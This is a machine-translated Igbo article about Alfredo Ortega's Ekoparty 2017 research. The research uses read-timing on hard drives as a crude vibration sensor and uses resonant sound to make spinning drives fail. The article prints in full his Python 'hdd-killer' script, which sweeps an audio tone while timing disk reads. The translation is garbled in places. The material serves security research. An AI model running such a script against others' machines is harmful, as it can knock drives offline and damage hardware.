Ihe kpatara na ị gaghị eti mkpu na HDD gị

Ihe kpatara na ị gaghị eti mkpu na HDD gị

Na ogbako nchekwa kọmputa nke Ekoparty 2017 na Buenos Aires, onye Argentine hacker Alfredo Ortega gosipụtara mmepe na-atọ ụtọ nke ukwuu - usoro maka ịta ekwentị nzuzo nke ụlọ na-ejighi igwe okwu. Ụda edere ozugbo na draịvụ ike!

HDD na-ebutekarị ụda dị ala dị ala, nzọụkwụ na ịma jijiji ndị ọzọ. A pụghị ịmata okwu mmadụ, ọ bụ ezie na ndị ọkà mmụta sayensị na-eme nnyocha na ntụziaka a (Nchọpụta okwu site na ịma jijiji na-adị obere, nke edere, dịka ọmụmaatụ, site na gyroscope ma ọ bụ HDD).

Ụda bụ ịma jijiji nke ikuku ma ọ bụ ọkara ọzọ. Mmadụ na-aghọta ha site na eardrum, nke na-ebufe vibrations na ntị nke ime. Emebere igwe okwu dị ka ntị - ebe a kwa, a na-edekọ ịma jijiji site na akpụkpọ ahụ dị mkpa, nke na-akpali mkpali eletriki. N'ezie, draịvụ ike ahụ na-enwekwa vibrations na-ahụ anya n'ihi mgbanwe nke ikuku gbara ya gburugburu. A maara nke a ọbụna site na njirimara teknụzụ nke HDDs: ndị na-emepụta ihe na-egosikarị ọkwa ịma jijiji kacha mma, na draịvụ ike n'onwe ya na-agbalịkarị itinye ya n'ime akpa ihe na-egosi ịma jijiji nke ejiri rọba ma ọ bụ ihe mkpuchi ọzọ mee. Site na nke a ọ dị mfe ikwubi na enwere ike ịdekọ ụda site na iji HDD. Naanị ihe fọdụrụ bụ ịchọpụta otú.

Alfredo Ortega tụpụtara ụdị ọgụ pụrụ iche nke ọwa n'akụkụ, ya bụ ọgụ oge. Mwakpo a dabere n'echiche na a na-arụ ọrụ dị iche iche na ngwaọrụ n'oge dị iche iche, dabere na data ntinye enyere. N'okwu a, "data ntinye" bụ ụda nke isi ọgụgụ isi na HDD platter, nke na-ejikọta na mgbagwoju anya nke gburugburu ebe obibi, ya bụ, ụda. Ya mere, site n'ịtụle oge ngụkọ na ime nyocha nyocha nke data, vibrations nke isi / efere na n'ihi ya enwere ike tụọ ụda nke usoro. Ogologo oge na-egbu oge n'ịgụ data, ka ụda HDD na-esiwanye ike ma, ya mere, ụda ahụ na-akawanye njọ.

Kedu ka esi atụ ịma jijiji draịvụ ike? Dị mfe: dị nnọọ na-agba ọsọ usoro oku read () - ma dekọọ oge ọ na-ewe iji wuchaa. Sistemụ arụ ọrụ ọgbara ọhụrụ na-enye gị ohere ịgụ oge oku sistemu n'izizi nanosecond.

Ọsọ nke ịgụ ozi sitere na ngalaba na-adabere na ọnọdụ nke isi na efere, nke na-ejikọta na ịma jijiji nke ikpe HDD. Ọ gwụla.

A na-eme nyocha ndekọ ọnụ ọgụgụ site na iji ngwa Kscope dị mfe. Dị ka ha na-ekwu, ihe niile nwere ọgụgụ isi dị mfe.

Ihe kpatara na ị gaghị eti mkpu na HDD gị
Utility Kscope (stat() syscall)

Kscope bụ obere akụrụngwa maka ịhụ obere ọdịiche dị na oge mmezu oku sistemụ. Isi mmaliteebipụtara na GitHub.

N'ebe nchekwa dị iche HDD-oge enwere ụdị akụrụngwa ahaziri maka ọgụ oge na draịvụ ike, ya bụ, ahaziri iji nyochaa oku sistemụ. read ().

Ngosipụta nke ndekọ ụda site na iji HDD, ọrụ nke akụrụngwa Kscope


N'ezie, enweghị ike ịghọta okwu n'ụzọ dị otú a, mana HDD dabara nke ọma dị ka ihe mmetụta ịma jijiji. Dịka ọmụmaatụ, ị nwere ike ịdebanye aha ma ọ bụrụ na onye yi akpụkpọ ụkwụ siri ike ma ọ bụ akpụkpọ ụkwụ efu abanye n'ime ụlọ nwere kọmputa (ikekwe, ọ bụrụ na onye ahụ na-awakpo ahụ na-eyi sneakers dị nro ma ọ bụ na-enwe nnukwu kapeeti n'ala, HDD agaghị enwe ike ịdebanye aha vibrations - nke a kwesịrị ịlele). Kọmputa ahụ nwere ike ịdebanye aha iko agbajiri agbaji ma ọ bụ ihe omume ndị ọzọ nwere ụda siri ike. Ya bụ, draịvụ ike nwere ike ịrụ ọrụ dị ka ụdị usoro nchọpụta mbubata na-enweghị ikike.

HDD egbu egbu

Site n'ụzọ, usoro yiri nke ahụ nwere ike iji gbanyụọ ike draịva. Naanị ebe a, anyị anaghị ewepụ oscillations na HDD, mana n'ụzọ megidere ya, anyị na-emepụta oscillations nke a na-enye HDD. Ọ bụrụ na ị na-akpọ ụda site na ọkà okwu na ugboro nke na-adaba na ugboro HDD, usoro ahụ na-agbanyụ ngwaọrụ ahụ n'oge na-adịghị anya site na njehie I/O (Linux kernel na-agbanyụ HDD kpamkpam mgbe 120 sekọnd). Draịvụ ike n'onwe ya nwere ike ị nweta mmebi na-enweghị mgbagha.

Ihe kpatara na ị gaghị eti mkpu na HDD gị
Linux kernel gbanyụrụ draịvụ ike ka sekọnd 120 nke na-ebuga ụda n'ogo ugboro ugboro site na ọkà okwu Edifier r19u USB ọkà okwu. A na-agbanye onye na-ekwu okwu n'ihe dị ka otu ụzọ n'ụzọ anọ nke ike (ihe na-erughị 100 mW) ma dị 20 cm site na HDD, ezubere na tebụl iji welie mkpọtụ. Frame si vidiyo na ngosipụta nke HDD egbu egbu

Ọ na-achọ ịmata na “mwakpo” dị otú ahụ na HDD na-eme mgbe ụfọdụ kpamkpam site na mberede na ndụ kwa ụbọchị. Dịka ọmụmaatụ, na Septemba 2016, a manyere ụlọ ọrụ data ING Bank kwụsị ọrụ maka awa 10 mgbe ọkụ ọkụ gasịrị. Ọtụtụ draịva ike adaala n'ihi ụda ụda nke ikuku inert na-ahapụ site na cylinders n'okpuru nnukwu nrụgide. Ụda ahụ dara ụda (karịa 130 dB), mana ị nweghị ike tie mkpu na draịva siri ike - nke a na-abawanye igbu oge na ịnweta HDD.

Ngosipụta nke mmadụ na-eti mkpu na draịva siri ike na etiti data. Nleta latency


Iji mepụta ụda na-eme mkpọtụ, Alfredo Ortega dere edemede Python akpọrọ hdd-egbu (ihe ngosi vidiyo).

Ederede egbu egbu HDD Ọ dị obere, yabụ ị nwere ike bipụta ya n'ozuzu ya ebe a.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

isi: www.habr.com

Tinye a comment